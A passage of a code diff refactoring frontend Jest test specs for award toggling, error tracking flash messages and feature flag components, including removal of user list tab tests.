+ expect(Sentry.captureException).toHaveBeenCalled();
+ },
+ );
+ });
});
});
- describe('error', () => {
- beforeEach(() => {
- mock.onDelete('/awards/1').reply(500);
+ describe('removing a award', () => {
+ const mockData = { id: 1, name: 'thumbsup', user: { id: 1 } };
+
+ describe('success', () => {
+ beforeEach(() => {
+ mock.onDelete(`${relativeRootUrl || ''}/awards/1`).reply(200);
+ });
+
+ it('commits REMOVE_AWARD', async () => {
+ testAction(
+ actions.toggleAward,
+ 'thumbsup',
+ {
+ path: '/awards',
+ currentUserId: 1,
+ awards: [mockData],
+ },
+ [{ type: 'REMOVE_AWARD', payload: 1 }],
+ );
+ });
});
- it('calls Sentry.captureException', async () => {
- await testAction(
- actions.toggleAward,
- 'thumbsup',
- {
- path: '/awards',
- currentUserId: 1,
- awards: [mockData],
- },
- [],
- [],
- () => {
- expect(Sentry.captureException).toHaveBeenCalled();
- },
- );
+ describe('error', () => {
+ beforeEach(() => {
+ mock.onDelete(`${relativeRootUrl || ''}/awards/1`).reply(500);
+ });
+
+ it('calls Sentry.captureException', async () => {
+ await testAction(
+ actions.toggleAward,
+ 'thumbsup',
+ {
+ path: '/awards',
+ currentUserId: 1,
+ awards: [mockData],
+ },
+ [],
+ [],
+ () => {
+ expect(Sentry.captureException).toHaveBeenCalled();
+ },
+ );
+ });
});
});
});
diff --git a/spec/frontend/error_tracking/components/error_details_spec.js b/spec/frontend/error_tracking/components/error_details_spec.js
index b469a855d23..babbc0c8a4d 100644
--- a/spec/frontend/error_tracking/components/error_details_spec.js
+++ b/spec/frontend/error_tracking/components/error_details_spec.js
@@ -21,7 +21,7 @@ import {
trackErrorDetailsViewsOptions,
trackErrorStatusUpdateOptions,
} from '~/error_tracking/utils';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import Tracking from '~/tracking';
@@ -160,10 +160,10 @@ describe('ErrorDetails', () => {
return wrapper.vm.$nextTick().then(() => {
expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
expect(wrapper.find(GlLink).exists()).toBe(false);
- expect(createFlash).toHaveBeenCalledWith(
- 'Could not connect to Sentry. Refresh the page to try again.',
- 'warning',
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'Could not connect to Sentry. Refresh the page to try again.',
+ type: 'warning',
+ });
expect(mocks.$apollo.queries.error.stopPolling).toHaveBeenCalled();
});
});
diff --git a/spec/frontend/error_tracking/store/actions_spec.js b/spec/frontend/error_tracking/store/actions_spec.js
index 9d598344acd..aaaa1194a29 100644
--- a/spec/frontend/error_tracking/store/actions_spec.js
+++ b/spec/frontend/error_tracking/store/actions_spec.js
@@ -2,7 +2,7 @@ import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import * as actions from '~/error_tracking/store/actions';
import * as types from '~/error_tracking/store/mutation_types';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { visitUrl } from '~/lib/utils/url_utility';
diff --git a/spec/frontend/error_tracking/store/details/actions_spec.js b/spec/frontend/error_tracking/store/details/actions_spec.js
index 0c19dce7bad..623cb82851d 100644
--- a/spec/frontend/error_tracking/store/details/actions_spec.js
+++ b/spec/frontend/error_tracking/store/details/actions_spec.js
@@ -2,7 +2,7 @@ import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import * as actions from '~/error_tracking/store/details/actions';
import * as types from '~/error_tracking/store/details/mutation_types';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import Poll from '~/lib/utils/poll';
diff --git a/spec/frontend/error_tracking/store/list/actions_spec.js b/spec/frontend/error_tracking/store/list/actions_spec.js
index 39481a8576f..5465bde397c 100644
--- a/spec/frontend/error_tracking/store/list/actions_spec.js
+++ b/spec/frontend/error_tracking/store/list/actions_spec.js
@@ -2,7 +2,7 @@ import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import * as actions from '~/error_tracking/store/list/actions';
import * as types from '~/error_tracking/store/list/mutation_types';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import httpStatusCodes from '~/lib/utils/http_status';
diff --git a/spec/frontend/feature_flags/components/empty_state_spec.js b/spec/frontend/feature_flags/components/empty_state_spec.js
new file mode 100644
index 00000000000..86d0c1a05fd
--- /dev/null
+++ b/spec/frontend/feature_flags/components/empty_state_spec.js
@@ -0,0 +1,136 @@
+import { GlAlert, GlEmptyState, GlLink, GlLoadingIcon } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import EmptyState from '~/feature_flags/components/empty_state.vue';
+
+const DEFAULT_PROPS = {
+ alerts: ['an alert', 'another alert'],
+ isLoading: false,
+ loadingLabel: 'test loading',
+ errorState: false,
+ errorTitle: 'test title',
+ emptyState: false,
+ emptyTitle: 'test empty',
+ emptyDescription: 'empty description',
+};
+
+const DEFAULT_PROVIDE = {
+ errorStateSvgPath: '/error.svg',
+ featureFlagsHelpPagePath: '/help/page/path',
+};
+
+describe('feature_flags/components/feature_flags_tab.vue', () => {
+ let wrapper;
+
+ const factory = (props = {}) =>
+ mount(
+ {
+ components: {
+ EmptyState,
+ },
+ render(h) {
+ return h(EmptyState, { props: this.$attrs, on: this.$listeners }, this.$slots.default);
+ },
+ },
+ {
+ propsData: {
+ ...DEFAULT_PROPS,
+ ...props,
+ },
+ provide: DEFAULT_PROVIDE,
+ slots: {
+ default: '<p data-testid="test-slot">testing</p>',
+ },
+ },
+ );
+
+ afterEach(() => {
+ if (wrapper?.destroy) {
+ wrapper.destroy();
+ }
+
+ wrapper = null;
+ });
+
+ describe('alerts', () => {
+ let alerts;
+
+ beforeEach(() => {
+ wrapper = factory();
+ alerts = wrapper.findAll(GlAlert);
+ });
+
+ it('should show any alerts', () => {
+ expect(alerts).toHaveLength(DEFAULT_PROPS.alerts.length);
+ alerts.wrappers.forEach((alert, i) => expect(alert.text()).toBe(DEFAULT_PROPS.alerts[i]));
+ });
+
+ it('should emit a dismiss event for a dismissed alert', () => {
+ alerts.at(0).vm.$emit('dismiss');
+
+ expect(wrapper.find(EmptyState).emitted('dismissAlert')).toEqual([[0]]);
+ });
+ });
+
+ describe('loading', () => {
+ beforeEach(() => {
+ wrapper = factory({ isLoading: true });
+ });
+
+ it('should show a loading icon and nothing else', () => {
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
+ expect(wrapper.findAll(GlEmptyState)).toHaveLength(0);
+ });
+ });
+
+ describe('error', () => {
+ let emptyState;
+
+ beforeEach(() => {
+ wrapper = factory({ errorState: true });
+ emptyState = wrapper.find(GlEmptyState);
+ });
+
+ it('should show an error state if there has been an error', () => {
+ expect(emptyState.text()).toContain(DEFAULT_PROPS.errorTitle);
+ expect(emptyState.text()).toContain(
+ 'Try again in a few moments or contact your support team.',
+ );
+ expect(emptyState.props('svgPath')).toBe(DEFAULT_PROVIDE.errorStateSvgPath);
+ });
+ });
+
+ describe('empty', () => {
+ let emptyState;
+ let emptyStateLink;
+
+ beforeEach(() => {
+ wrapper = factory({ emptyState: true });
+ emptyState = wrapper.find(GlEmptyState);
+ emptyStateLink = emptyState.find(GlLink);
+ });
+
+ it('should show an empty state if it is empty', () => {
+ expect(emptyState.text()).toContain(DEFAULT_PROPS.emptyTitle);
+ expect(emptyState.text()).toContain(DEFAULT_PROPS.emptyDescription);
+ expect(emptyState.props('svgPath')).toBe(DEFAULT_PROVIDE.errorStateSvgPath);
+ expect(emptyStateLink.attributes('href')).toBe(DEFAULT_PROVIDE.featureFlagsHelpPagePath);
+ expect(emptyStateLink.text()).toBe('More information');
+ });
+ });
+
+ describe('slot', () => {
+ let slot;
+
+ beforeEach(async () => {
+ wrapper = factory();
+ await wrapper.vm.$nextTick();
+
+ slot = wrapper.find('[data-testid="test-slot"]');
+ });
+
+ it('should display the passed slot', () => {
+ expect(slot.exists()).toBe(true);
+ expect(slot.text()).toBe('testing');
+ });
+ });
+});
diff --git a/spec/frontend/feature_flags/components/feature_flags_spec.js b/spec/frontend/feature_flags/components/feature_flags_spec.js
index b519aab0dc4..db4bdc736de 100644
--- a/spec/frontend/feature_flags/components/feature_flags_spec.js
+++ b/spec/frontend/feature_flags/components/feature_flags_spec.js
@@ -1,19 +1,17 @@
-import { GlAlert, GlEmptyState, GlLoadingIcon, GlSprintf } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { GlAlert, GlEmptyState, GlLoadingIcon } from '@gitlab/ui';
+import { mount, createLocalVue } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import Vuex from 'vuex';
+import waitForPromises from 'helpers/wait_for_promises';
import { TEST_HOST } from 'spec/test_constants';
-import Api from '~/api';
import ConfigureFeatureFlagsModal from '~/feature_flags/components/configure_feature_flags_modal.vue';
+import EmptyState from '~/feature_flags/components/empty_state.vue';
import FeatureFlagsComponent from '~/feature_flags/components/feature_flags.vue';
-import FeatureFlagsTab from '~/feature_flags/components/feature_flags_tab.vue';
import FeatureFlagsTable from '~/feature_flags/components/feature_flags_table.vue';
-import UserListsTable from '~/feature_flags/components/user_lists_table.vue';
-import { FEATURE_FLAG_SCOPE, USER_LIST_SCOPE } from '~/feature_flags/constants';
import createStore from '~/feature_flags/store/index';
import axios from '~/lib/utils/axios_utils';
import TablePagination from '~/vue_shared/components/pagination/table_pagination.vue';
-import { getRequestData, userList } from '../mock_data';
+import { getRequestData } from '../mock_data';
const localVue = createLocalVue();
localVue.use(Vuex);
@@ -28,7 +26,7 @@ describe('Feature flags', () => {
featureFlagsLimit: '200',
featureFlagsLimitExceeded: false,
newFeatureFlagPath: 'feature-flags/new',
- newUserListPath: '/user-list/new',
+ userListPath: '/user-list',
unleashApiUrl: `${TEST_HOST}/api/unleash`,
projectName: 'fakeProjectName',
errorStateSvgPath: '/assets/illustrations/feature_flag.svg',
@@ -44,36 +42,25 @@ describe('Feature flags', () => {
let mock;
let store;
- const factory = (provide = mockData, fn = shallowMount) => {
+ const factory = (provide = mockData, fn = mount) => {
store = createStore(mockState);
wrapper = fn(FeatureFlagsComponent, {
localVue,
store,
provide,
stubs: {
- FeatureFlagsTab,
+ EmptyState,
},
});
};
const configureButton = () => wrapper.find('[data-testid="ff-configure-button"]');
const newButton = () => wrapper.find('[data-testid="ff-new-button"]');
- const newUserListButton = () => wrapper.find('[data-testid="ff-new-list-button"]');
- const limitAlert = () => wrapper.find(GlAlert);
+ const userListButton = () => wrapper.find('[data-testid="ff-user-list-button"]');
+ const limitAlert = () => wrapper.findComponent(GlAlert);
beforeEach(() => {
mock = new MockAdapter(axios);
- jest.spyOn(Api, 'fetchFeatureFlagUserLists').mockResolvedValue({
- data: [userList],
- headers: {
- 'x-next-page': '2',
- 'x-page': '1',
- 'X-Per-Page': '8',
- 'X-Prev-Page': '',
- 'X-TOTAL': '40',
- 'X-Total-Pages': '5',
- },
- });
});
afterEach(() => {
@@ -87,7 +74,7 @@ describe('Feature flags', () => {
beforeEach((done) => {
mock
- .onGet(`${TEST_HOST}/endpoint.json`, { params: { scope: FEATURE_FLAG_SCOPE, page: '1' } })
+ .onGet(`${TEST_HOST}/endpoint.json`, { params: { page: '1' } })
.reply(200, getRequestData, {});
factory(provideData);
setImmediate(done);
@@ -101,9 +88,7 @@ describe('Feature flags', () => {
it('shows a feature flags limit reached alert', () => {
expect(limitAlert().exists()).toBe(true);
- expect(limitAlert().find(GlSprintf).attributes('message')).toContain(
- 'Feature flags limit reached',
- );
+ expect(limitAlert().text()).toContain('Feature flags limit reached');
});
describe('when the alert is dismissed', () => {
@@ -129,12 +114,12 @@ describe('Feature flags', () => {
canUserConfigure: false,
canUserRotateToken: false,
newFeatureFlagPath: null,
- newUserListPath: null,
+ userListPath: null,
};
beforeEach((done) => {
mock
- .onGet(`${TEST_HOST}/endpoint.json`, { params: { scope: FEATURE_FLAG_SCOPE, page: '1' } })
+ .onGet(`${TEST_HOST}/endpoint.json`, { params: { page: '1' } })
.reply(200, getRequestData, {});
factory(provideData);
setImmediate(done);
@@ -148,20 +133,20 @@ describe('Feature flags', () => {
expect(newButton().exists()).toBe(false);
});
- it('does not render new user list button', () => {
- expect(newUserListButton().exists()).toBe(false);
+ it('does not render view user list button', () => {
+ expect(userListButton().exists()).toBe(false);
});
});
describe('loading state', () => {
it('renders a loading icon', () => {
mock
- .onGet(`${TEST_HOST}/endpoint.json`, { params: { scope: FEATURE_FLAG_SCOPE, page: '1' } })
+ .onGet(`${TEST_HOST}/endpoint.json`, { params: { page: '1' } })
.replyOnce(200, getRequestData, {});
factory();
- const loadingElement = wrapper.find(GlLoadingIcon);
+ const loadingElement = wrapper.findComponent(GlLoadingIcon);
expect(loadingElement.exists()).toBe(true);
expect(loadingElement.props('label')).toEqual('Loading feature flags');
@@ -173,7 +158,7 @@ describe('Feature flags', () => {
let emptyState;
beforeEach(async () => {
- mock.onGet(mockState.endpoint, { params: { scope: FEATURE_FLAG_SCOPE, page: '1' } }).reply(
+ mock.onGet(mockState.endpoint, { params: { page: '1' } }).reply(
200,
{
feature_flags: [],
@@ -187,9 +172,10 @@ describe('Feature flags', () => {
);
factory();
+ await waitForPromises();
await wrapper.vm.$nextTick();
- emptyState = wrapper.find(GlEmptyState);
+ emptyState = wrapper.findComponent(GlEmptyState);
});
it('should render the empty state', async () => {
@@ -204,9 +190,9 @@ describe('Feature flags', () => {
expect(newButton().exists()).toBe(true);
});
- it('renders new user list button', () => {
- expect(newUserListButton().exists()).toBe(true);
- expect(newUserListButton().attributes('href')).toBe('/user-list/new');
+ it('renders view user list button', () => {
+ expect(userListButton().exists()).toBe(true);
+ expect(userListButton().attributes('href')).toBe(mockData.userListPath);
});
describe('in feature flags tab', () => {
@@ -218,16 +204,14 @@ describe('Feature flags', () => {
describe('with paginated feature flags', () => {
beforeEach((done) => {
- mock
- .onGet(mockState.endpoint, { params: { scope: FEATURE_FLAG_SCOPE, page: '1' } })
- .replyOnce(200, getRequestData, {
- 'x-next-page': '2',
- 'x-page': '1',
- 'X-Per-Page': '2',
- 'X-Prev-Page': '',
- 'X-TOTAL': '37',
- 'X-Total-Pages': '5',
- });
+ mock.onGet(mockState.endpoint, { params: { page: '1' } }).replyOnce(200, getRequestData, {
+ 'x-next-page': '2',
+ 'x-page': '1',
+ 'X-Per-Page': '2',
+ 'X-Prev-Page': '',
+ 'X-TOTAL': '37',
+ 'X-Total-Pages': '5',
+ });
factory();
jest.spyOn(store, 'dispatch');
@@ -235,9 +219,9 @@ describe('Feature flags', () => {
});
it('should render a table with feature flags', () => {
- const table = wrapper.find(FeatureFlagsTable);
+ const table = wrapper.findComponent(FeatureFlagsTable);
expect(table.exists()).toBe(true);
- expect(table.props(FEATURE_FLAG_SCOPE)).toEqual(
+ expect(table.props('featureFlags')).toEqual(
expect.arrayContaining([
expect.objectContaining({
name: getRequestData.feature_flags[0].name,
@@ -248,9 +232,9 @@ describe('Feature flags', () => {
});
it('should toggle a flag when receiving the toggle-flag event', () => {
- const table = wrapper.find(FeatureFlagsTable);
+ const table = wrapper.findComponent(FeatureFlagsTable);
- const [flag] = table.props(FEATURE_FLAG_SCOPE);
+ const [flag] = table.props('featureFlags');
table.vm.$emit('toggle-flag', flag);
expect(store.dispatch).toHaveBeenCalledWith('toggleFeatureFlag', flag);
@@ -264,71 +248,38 @@ describe('Feature flags', () => {
expect(newButton().exists()).toBe(true);
});
- it('renders new user list button', () => {
- expect(newUserListButton().exists()).toBe(true);
- expect(newUserListButton().attributes('href')).toBe('/user-list/new');
+ it('renders view user list button', () => {
+ expect(userListButton().exists()).toBe(true);
+ expect(userListButton().attributes('href')).toBe(mockData.userListPath);
});
describe('pagination', () => {
it('should render pagination', () => {
- expect(wrapper.find(TablePagination).exists()).toBe(true);
+ expect(wrapper.findComponent(TablePagination).exists()).toBe(true);
});
it('should make an API request when page is clicked', () => {
jest.spyOn(wrapper.vm, 'updateFeatureFlagOptions');
- wrapper.find(TablePagination).vm.change(4);
+ wrapper.findComponent(TablePagination).vm.change(4);
expect(wrapper.vm.updateFeatureFlagOptions).toHaveBeenCalledWith({
- scope: FEATURE_FLAG_SCOPE,
page: '4',
});
});
-
- it('should make an API request when using tabs', () => {
- jest.spyOn(wrapper.vm, 'updateFeatureFlagOptions');
- wrapper.find('[data-testid="user-lists-tab"]').vm.$emit('changeTab');
-
- expect(wrapper.vm.updateFeatureFlagOptions).toHaveBeenCalledWith({
- scope: USER_LIST_SCOPE,
- page: '1',
- });
- });
- });
- });
-
- describe('in user lists tab', () => {
- beforeEach((done) => {
- factory();
- setImmediate(done);
- });
- beforeEach(() => {
- wrapper.find('[data-testid="user-lists-tab"]').vm.$emit('changeTab');
- return wrapper.vm.$nextTick();
- });
-
- it('should display the user list table', () => {
- expect(wrapper.find(UserListsTable).exists()).toBe(true);
- });
-
- it('should set the user lists to display', () => {
- expect(wrapper.find(UserListsTable).props('userLists')).toEqual([userList]);
});
});
});
describe('unsuccessful request', () => {
beforeEach((done) => {
- mock
- .onGet(mockState.endpoint, { params: { scope: FEATURE_FLAG_SCOPE, page: '1' } })
- .replyOnce(500, {});
- Api.fetchFeatureFlagUserLists.mockRejectedValueOnce();
+ mock.onGet(mockState.endpoint, { params: { page: '1' } }).replyOnce(500, {});
factory();
setImmediate(done);
});
it('should render error state', () => {
- const emptyState = wrapper.find(GlEmptyState);
+ const emptyState = wrapper.findComponent(GlEmptyState);
expect(emptyState.props('title')).toEqual('There was an error fetching the feature flags.');
expect(emptyState.props('description')).toEqual(
'Try again in a few moments or contact your support team.',
@@ -343,16 +294,16 @@ describe('Feature flags', () => {
expect(newButton().exists()).toBe(true);
});
- it('renders new user list button', () => {
- expect(newUserListButton().exists()).toBe(true);
- expect(newUserListButton().attributes('href')).toBe('/user-list/new');
+ it('renders view user list button', () => {
+ expect(userListButton().exists()).toBe(true);
+ expect(userListButton().attributes('href')).toBe(mockData.userListPath);
});
});
describe('rotate instance id', () => {
beforeEach((done) => {
mock
- .onGet(`${TEST_HOST}/endpoint.json`, { params: { scope: FEATURE_FLAG_SCOPE, page: '1' } })
+ .onGet(`${TEST_HOST}/endpoint.json`, { params: { page: '1' } })
.reply(200, getRequestData, {});
factory();
setImmediate(done);
@@ -360,7 +311,7 @@ describe('Feature flags', () => {
it('should fire the rotate action when a `token` event is received', () => {
const actionSpy = jest.spyOn(wrapper.vm, 'rotateInstanceId');
- const modal = wrapper.find(ConfigureFeatureFlagsModal);
+ const modal = wrapper.findComponent(ConfigureFeatureFlagsModal);
modal.vm.$emit('token');
expect(actionSpy).toHaveBeenCalled();
diff --git a/spec/frontend/feature_flags/components/feature_flags_tab_spec.js b/spec/frontend/feature_flags/components/feature_flags_tab_spec.js
deleted file mode 100644
index c2170e8a768..00000000000
--- a/spec/frontend/feature_flags/components/feature_flags_tab_spec.js
+++ /dev/null
@@ -1,167 +0,0 @@
-import { GlAlert, GlBadge, GlEmptyState, GlLink, GlLoadingIcon, GlTabs } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import FeatureFlagsTab from '~/feature_flags/components/feature_flags_tab.vue';
-
-const DEFAULT_PROPS = {
- title: 'test',
- count: 5,
- alerts: ['an alert', 'another alert'],
- isLoading: false,
- loadingLabel: 'test loading',
- errorState: false,
- errorTitle: 'test title',
- emptyState: true,
- emptyTitle: 'test empty',
- emptyDescription: 'empty description',
-};
-
-const DEFAULT_PROVIDE = {
- errorStateSvgPath: '/error.svg',
- featureFlagsHelpPagePath: '/help/page/path',
-};
-
-describe('feature_flags/components/feature_flags_tab.vue', () => {
- let wrapper;
-
- const factory = (props = {}) =>
- mount(
- {
- components: {
- GlTabs,
- FeatureFlagsTab,
- },
- render(h) {
- return h(GlTabs, [
- h(FeatureFlagsTab, { props: this.$attrs, on: this.$listeners }, this.$slots.default),
- ]);
- },
- },
- {
- propsData: {
- ...DEFAULT_PROPS,
- ...props,
- },
- provide: DEFAULT_PROVIDE,
- slots: {
- default: '<p data-testid="test-slot">testing</p>',
- },
- },
- );
-
- afterEach(() => {
- if (wrapper?.destroy) {
- wrapper.destroy();
- }
-
- wrapper = null;
- });
-
- describe('alerts', () => {
- let alerts;
-
- beforeEach(() => {
- wrapper = factory();
- alerts = wrapper.findAll(GlAlert);
- });
-
- it('should show any alerts', () => {
- expect(alerts).toHaveLength(DEFAULT_PROPS.alerts.length);
- alerts.wrappers.forEach((alert, i) => expect(alert.text()).toBe(DEFAULT_PROPS.alerts[i]));
- });
-
- it('should emit a dismiss event for a dismissed alert', () => {
- alerts.at(0).vm.$emit('dismiss');
-
- expect(wrapper.find(FeatureFlagsTab).emitted('dismissAlert')).toEqual([[0]]);
- });
- });
-
- describe('loading', () => {
- beforeEach(() => {
- wrapper = factory({ isLoading: true });
- });
-
- it('should show a loading icon and nothing else', () => {
- expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
- expect(wrapper.findAll(GlEmptyState)).toHaveLength(0);
- });
- });
-
- describe('error', () => {
- let emptyState;
-
- beforeEach(() => {
- wrapper = factory({ errorState: true });
- emptyState = wrapper.find(GlEmptyState);
- });
-
- it('should show an error state if there has been an error', () => {
- expect(emptyState.text()).toContain(DEFAULT_PROPS.errorTitle);
- expect(emptyState.text()).toContain(
- 'Try again in a few moments or contact your support team.',
- );
- expect(emptyState.props('svgPath')).toBe(DEFAULT_PROVIDE.errorStateSvgPath);
- });
- });
-
- describe('empty', () => {
- let emptyState;
- let emptyStateLink;
-
- beforeEach(() => {
- wrapper = factory({ emptyState: true });
- emptyState = wrapper.find(GlEmptyState);
- emptyStateLink = emptyState.find(GlLink);
- });
-
- it('should show an empty state if it is empty', () => {
- expect(emptyState.text()).toContain(DEFAULT_PROPS.emptyTitle);
- expect(emptyState.text()).toContain(DEFAULT_PROPS.emptyDescription);
- expect(emptyState.props('svgPath')).toBe(DEFAULT_PROVIDE.errorStateSvgPath);
- expect(emptyStateLink.attributes('href')).toBe(DEFAULT_PROVIDE.featureFlagsHelpPagePath);
- expect(emptyStateLink.text()).toBe('More information');
- });
- });
-
- describe('slot', () => {
- let slot;
-
- beforeEach(async () => {
- wrapper = factory();
- await wrapper.vm.$nextTick();
-
- slot = wrapper.find('[data-testid="test-slot"]');
- });
-
- it('should display the passed slot', () => {
- expect(slot.exists()).toBe(true);
- expect(slot.text()).toBe('testing');
- });
- });
-
- describe('count', () => {
- it('should display a count if there is one', async () => {
- wrapper = factory();
- await wrapper.vm.$nextTick();
-
- expect(wrapper.find(GlBadge).text()).toBe(DEFAULT_PROPS.count.toString());
- });
- it('should display 0 if there is no count', async () => {
- wrapper = factory({ count: undefined });
- await wrapper.vm.$nextTick();
-
- expect(wrapper.find(GlBadge).text()).toBe('0');
- });
- });
-
- describe('title', () => {
- it('should show the title', async () => {
- wrapper = factory();
- await wrapper.vm.$nextTick();
-
- expect(wrapper.find('[data-testid="feature-flags-tab-title"]').text()).toBe(
- DEFAULT_PROPS.title,
- );
- });
- });
-});
diff --git a/spec/frontend/feature_flags/components/user_lists_table_spec.js b/spec/frontend/feature_flags/components/user_lists_table_spec.js
deleted file mode 100644
index 1b04ecee146..00000000000
--- a/spec/frontend/feature_flags/components/user_lists_table_spec.js
+++ /dev/null
@@ -1,98 +0,0 @@
-import { GlModal } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import * as timeago from 'timeago.js';
-import UserListsTable from '~/feature_flags/components/user_lists_table.vue';
-import { userList } from '../mock_data';
-
-jest.mock('timeago.js', () => ({
- format: jest.fn().mockReturnValue('2 weeks ago'),
- register: jest.fn(),
-}));
-
-describe('User Lists Table', () => {
- let wrapper;
- let userLists;
-
- beforeEach(() => {
- userLists = new Array(5).fill(userList).map((x, i) => ({ ...x, id: i }));
- wrapper = mount(UserListsTable, {
- propsData: { userLists },
- });
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('should display the details of a user list', () => {
- expect(wrapper.find('[data-testid="ffUserListName"]').text()).toBe(userList.name);
- expect(wrapper.find('[data-testid="ffUserListIds"]').text()).toBe(
- userList.user_xids.replace(/,/g, ', '),
- );
- expect(wrapper.find('[data-testid="ffUserListTimestamp"]').text()).toBe('created 2 weeks ago');
- expect(timeago.format).toHaveBeenCalledWith(userList.created_at);
- });
-
- it('should set the title for a tooltip on the created stamp', () => {
- expect(wrapper.find('[data-testid="ffUserListTimestamp"]').attributes('title')).toBe(
- 'Feb 4, 2020 8:13am GMT+0000',
- );
- });
-
- it('should display a user list entry per user list', () => {
- const lists = wrapper.findAll('[data-testid="ffUserList"]');
- expect(lists).toHaveLength(5);
- lists.wrappers.forEach((list) => {
- expect(list.find('[data-testid="ffUserListName"]').exists()).toBe(true);
- expect(list.find('[data-testid="ffUserListIds"]').exists()).toBe(true);
- expect(list.find('[data-testid="ffUserListTimestamp"]').exists()).toBe(true);
- });
- });
-
- describe('edit button', () => {
- it('should link to the path for the user list', () => {
- expect(wrapper.find('[data-testid="edit-user-list"]').attributes('href')).toBe(userList.path);
- });
- });
-
- describe('delete button', () => {
- it('should display the confirmation modal', () => {
- const modal = wrapper.find(GlModal);
-
- wrapper.find('[data-testid="delete-user-list"]').trigger('click');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(modal.text()).toContain(`Delete ${userList.name}?`);
- expect(modal.text()).toContain(`User list ${userList.name} will be removed.`);
- });
- });
- });
-
- describe('confirmation modal', () => {
- let modal;
-
- beforeEach(() => {
- modal = wrapper.find(GlModal);
-
- wrapper.find('button').trigger('click');
-
- return wrapper.vm.$nextTick();
- });
-
- it('should emit delete with list on confirmation', () => {
- modal.find('[data-testid="modal-confirm"]').trigger('click');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('delete')).toEqual([[userLists[0]]]);
- });
- });
-
- it('should not emit delete with list when not confirmed', () => {
- modal.find('button').trigger('click');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('delete')).toBeUndefined();
- });
- });
- });
-});
diff --git a/spec/frontend/feature_flags/store/index/actions_spec.js b/spec/frontend/feature_flags/store/index/actions_spec.js
index a7ab2e92cb2..ec311ef92a3 100644
--- a/spec/frontend/feature_flags/store/index/actions_spec.js
+++ b/spec/frontend/feature_flags/store/index/actions_spec.js
@@ -1,7 +1,6 @@
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import { TEST_HOST } from 'spec/test_constants';
-import Api from '~/api';
import { mapToScopesViewModel } from '~/feature_flags/store/helpers';
import {
requestFeatureFlags,
@@ -17,18 +16,12 @@ import {
updateFeatureFlag,
receiveUpdateFeatureFlagSuccess,
receiveUpdateFeatureFlagError,
- requestUserLists,
- receiveUserListsSuccess,
- receiveUserListsError,
- fetchUserLists,
- deleteUserList,
- receiveDeleteUserListError,
clearAlert,
} from '~/feature_flags/store/index/actions';
import * as types from '~/feature_flags/store/index/mutation_types';
import state from '~/feature_flags/store/index/state';
import axios from '~/lib/utils/axios_utils';
-import { getRequestData, rotateData, featureFlag, userList } from '../../mock_data';
+import { getRequestData, rotateData, featureFlag } from '../../mock_data';
jest.mock('~/api.js');
@@ -154,99 +147,6 @@ describe('Feature flags actions', () => {
});
});
- describe('fetchUserLists', () => {
- beforeEach(() => {
- Api.fetchFeatureFlagUserLists.mockResolvedValue({ data: [userList], headers: {} });
- });
-
- describe('success', () => {
- it('dispatches requestUserLists and receiveUserListsSuccess ', (done) => {
- testAction(
- fetchUserLists,
- null,
- mockedState,
- [],
- [
- {
- type: 'requestUserLists',
- },
- {
- payload: { data: [userList], headers: {} },
- type: 'receiveUserListsSuccess',
- },
- ],
- done,
- );
- });
- });
-
- describe('error', () => {
- it('dispatches requestUserLists and receiveUserListsError ', (done) => {
- Api.fetchFeatureFlagUserLists.mockRejectedValue();
-
- testAction(
- fetchUserLists,
- null,
- mockedState,
- [],
- [
- {
- type: 'requestUserLists',
- },
- {
- type: 'receiveUserListsError',
- },
- ],
- done,
- );
- });
- });
- });
-
- describe('requestUserLists', () => {
- it('should commit RECEIVE_USER_LISTS_SUCCESS mutation', (done) => {
- testAction(
- requestUserLists,
- null,
- mockedState,
- [{ type: types.REQUEST_USER_LISTS }],
- [],
- done,
- );
- });
- });
-
- describe('receiveUserListsSuccess', () => {
- it('should commit RECEIVE_USER_LISTS_SUCCESS mutation', (done) => {
- testAction(
- receiveUserListsSuccess,
- { data: [userList], headers: {} },
- mockedState,
- [
- {
- type: types.RECEIVE_USER_LISTS_SUCCESS,
- payload: { data: [userList], headers: {} },
- },
- ],
- [],
- done,
- );
- });
- });
-
- describe('receiveUserListsError', () => {
- it('should commit RECEIVE_USER_LISTS_ERROR mutation', (done) => {
- testAction(
- receiveUserListsError,
- null,
- mockedState,
- [{ type: types.RECEIVE_USER_LISTS_ERROR }],
- [],
- done,
- );
- });
- });
-
describe('rotateInstanceId', () => {
let mock;
@@ -482,69 +382,6 @@ describe('Feature flags actions', () => {
);
});
});
- describe('deleteUserList', () => {
- beforeEach(() => {
- mockedState.userLists = [userList];
- });
-
- describe('success', () => {
- beforeEach(() => {
- Api.deleteFeatureFlagUserList.mockResolvedValue();
- });
-
- it('should refresh the user lists', (done) => {
- testAction(
- deleteUserList,
- userList,
- mockedState,
- [],
- [{ type: 'requestDeleteUserList', payload: userList }, { type: 'fetchUserLists' }],
- done,
- );
- });
- });
-
- describe('error', () => {
- beforeEach(() => {
- Api.deleteFeatureFlagUserList.mockRejectedValue({ response: { data: 'some error' } });
- });
-
- it('should dispatch receiveDeleteUserListError', (done) => {
- testAction(
- deleteUserList,
- userList,
- mockedState,
- [],
- [
